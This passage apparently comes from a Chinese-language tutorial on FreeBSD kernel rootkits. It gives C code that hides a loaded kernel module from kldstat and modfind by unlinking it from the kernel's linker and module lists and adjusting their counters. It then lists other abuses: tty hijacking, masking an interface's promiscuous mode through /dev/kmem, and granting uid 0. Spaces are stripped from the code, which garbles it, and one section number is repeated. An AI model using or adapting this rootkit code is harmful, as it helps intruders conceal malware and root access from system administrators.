3.6.隐藏模块
重要的,我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))
前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c此外它还有一个计数单元定义在next_file_id,这个
数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块
externlinker_file_list_tlinker_files;
externintnext_file_id;
externstructlocklock;
[...]
linker_file_tlf=0;
/*lockexclusive,sincewechangethings*/
lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf,&linker_files,link){ //宏定义遍历队列得到linker_file结构
if(!strcmp(lf->filename,"cyellow.ko")){
/*firstlet'sdecrementthegloballinkfilecounter*/
next_file_id--;
/*nowlet'sremovetheentry*/
TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
break;
}
}
lockmgr(&lock,LK_RELEASE,0,curproc);
下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。
externmodulelist_tmodules;
externintnextid;
[...]
module_tmod=0;
TAILQ_FOREACH(mod,&modules,link){
if(!strcmp(mod->name,"cy")){
/*firstlet'spatchtheinternalIDcounter*/
nextid--;
TAILQ_REMOVE(&modules,mod,link);
}
}
[...]
现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,它是我相信可能还有其它的方法来找到它。
3.6其它的应用
还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用 tcpdump接口的模式也不会是混杂。(:))
当然通过/dev/kmem你可以得到很多有趣的的东西;)